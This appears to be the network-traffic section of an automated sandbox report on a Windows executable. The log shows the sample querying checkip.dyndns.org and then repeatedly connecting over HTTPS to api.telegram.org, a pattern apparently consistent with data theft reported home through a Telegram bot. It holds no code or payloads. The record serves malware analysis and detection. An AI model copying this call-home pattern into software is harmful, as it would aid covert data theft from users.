Jun 26, 2022 09:34:44.331953049 CEST	50227	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.332495928 CEST	50227	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.334022045 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.334058046 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.334575891 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.335666895 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.335686922 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.396183014 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.398658037 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.398679018 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.400521994 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.400538921 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.718693972 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.718755960 CEST	443	50228	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.718919992 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.719743967 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.719790936 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.719916105 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.720407009 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.720422029 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.720577002 CEST	50228	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.776731014 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.778712034 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.778731108 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:44.778808117 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:44.778817892 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.198244095 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.198348999 CEST	443	50229	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.198611021 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.198947906 CEST	50229	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.199565887 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.199613094 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.199724913 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.199958086 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.199971914 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.264830112 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.268024921 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.268058062 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.268282890 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.268290043 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.578757048 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.578840017 CEST	443	50230	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.579052925 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.579497099 CEST	50230	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.580352068 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.580394030 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.580491066 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.580864906 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.580892086 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.638264894 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.642694950 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.642730951 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.642848969 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.642858982 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.952797890 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.952883005 CEST	443	50231	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.953022003 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.953582048 CEST	50231	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.954399109 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.954477072 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:45.954643011 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.954921007 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:45.954946995 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.016213894 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.018892050 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.018937111 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.019053936 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.019062996 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.332168102 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.332277060 CEST	443	50232	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.332417011 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.333005905 CEST	50232	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.334400892 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.334445000 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.334553003 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.334871054 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.334887028 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.394210100 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.397555113 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.397608042 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.397727966 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.397747040 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.710484982 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.710572004 CEST	443	50233	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.710628033 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.710968018 CEST	50233	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.711687088 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.711719036 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.711807013 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.712018967 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.712030888 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.772190094 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.774333954 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.774357080 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:46.774436951 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:46.774444103 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.099369049 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.099445105 CEST	443	50234	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.099510908 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.100016117 CEST	50234	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.101103067 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.101135015 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.101273060 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.101665974 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.101681948 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.162226915 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.165173054 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.165196896 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.165307045 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.165316105 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.477381945 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.477477074 CEST	443	50235	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.477603912 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.478254080 CEST	50235	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.479114056 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.479142904 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.479269981 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.479662895 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.479676962 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.541903973 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.545584917 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.545639038 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.545742035 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.545766115 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.855927944 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.856002092 CEST	443	50236	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.856110096 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.856487036 CEST	50236	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.857122898 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.857177973 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.857289076 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.857675076 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.857695103 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.918627024 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.922024012 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.922081947 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:47.922143936 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:47.922161102 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.241333961 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.241420031 CEST	443	50237	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.241483927 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.241866112 CEST	50237	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.242518902 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.242572069 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.242671967 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.243098974 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.243125916 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.307090044 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.310338020 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.310376883 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.310447931 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.310461998 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.632683992 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.632770061 CEST	443	50238	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.632833958 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.633502960 CEST	50238	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.634263992 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.634299040 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.634433031 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.634720087 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.634730101 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.694680929 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.698214054 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.698239088 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:48.698643923 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:48.698654890 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.016632080 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.016752958 CEST	443	50239	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.016864061 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.017254114 CEST	50239	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.017877102 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.017942905 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.018074036 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.018424034 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.018450022 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.074439049 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.076464891 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.076509953 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.076613903 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.076627016 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.595818996 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.595937967 CEST	443	50240	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.596113920 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.596574068 CEST	50240	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.600279093 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.600348949 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.601238966 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.601290941 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.601303101 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.659037113 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.663331985 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.663367033 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.663901091 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.663908005 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.985732079 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.985917091 CEST	443	50241	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.988015890 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.988132000 CEST	50241	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.988862991 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.988909960 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:49.992199898 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.992552042 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:49.992573023 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.050671101 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.055464029 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.055517912 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.055674076 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.055689096 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.360788107 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.360893965 CEST	443	50242	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.360964060 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.361291885 CEST	50242	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.362226963 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.362267017 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.362442017 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.362751961 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.362771034 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.420840979 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.427018881 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.427084923 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.427195072 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.427207947 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.734549046 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.734639883 CEST	443	50243	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.734750032 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.735225916 CEST	50243	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.735902071 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.735934019 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.736025095 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.736296892 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.736305952 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.797095060 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.799710035 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.799736023 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:50.799828053 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:50.799837112 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.108022928 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.108119965 CEST	443	50244	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.108181953 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.108928919 CEST	50244	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.110419035 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.110464096 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.110562086 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.110970974 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.110987902 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.172194004 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.175707102 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.175744057 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.175848961 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.175858974 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.500704050 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.500785112 CEST	443	50245	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.500859022 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.501341105 CEST	50245	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.502108097 CEST	50247	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.502141953 CEST	443	50247	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.502254009 CEST	50247	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.502547979 CEST	50247	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.502558947 CEST	443	50247	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.558366060 CEST	443	50247	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.561306953 CEST	50247	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.561326027 CEST	443	50247	149.154.167.220	192.168.2.5
Jun 26, 2022 09:34:51.561393023 CEST	50247	443	192.168.2.5	149.154.167.220
Jun 26, 2022 09:34:51.561398983 CEST	443	50247	149.154.167.220	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 26, 2022 09:32:22.474344969 CEST	54322	53	192.168.2.5	8.8.8.8
Jun 26, 2022 09:32:22.496325970 CEST	53	54322	8.8.8.8	192.168.2.5
Jun 26, 2022 09:32:22.522830963 CEST	62704	53	192.168.2.5	8.8.8.8
Jun 26, 2022 09:32:22.542670965 CEST	53	62704	8.8.8.8	192.168.2.5
Jun 26, 2022 09:32:24.707330942 CEST	53934	53	192.168.2.5	8.8.8.8
Jun 26, 2022 09:32:24.726130962 CEST	53	53934	8.8.8.8	192.168.2.5
Jun 26, 2022 09:34:16.948779106 CEST	52113	53	192.168.2.5	8.8.8.8
Jun 26, 2022 09:34:16.969172001 CEST	53	52113	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 26, 2022 09:32:22.474344969 CEST	192.168.2.5	8.8.8.8	0x7988	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.522830963 CEST	192.168.2.5	8.8.8.8	0x1128	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:24.707330942 CEST	192.168.2.5	8.8.8.8	0xdad8	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)
Jun 26, 2022 09:34:16.948779106 CEST	192.168.2.5	8.8.8.8	0x3900	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.496325970 CEST	8.8.8.8	192.168.2.5	0x7988	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:22.542670965 CEST	8.8.8.8	192.168.2.5	0x1128	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Jun 26, 2022 09:32:24.726130962 CEST	8.8.8.8	192.168.2.5	0xdad8	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)
Jun 26, 2022 09:34:16.969172001 CEST	8.8.8.8	192.168.2.5	0x3900	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49759	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49769	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49778	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49947	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49948	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49949	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49950	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49951	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49952	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49953	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
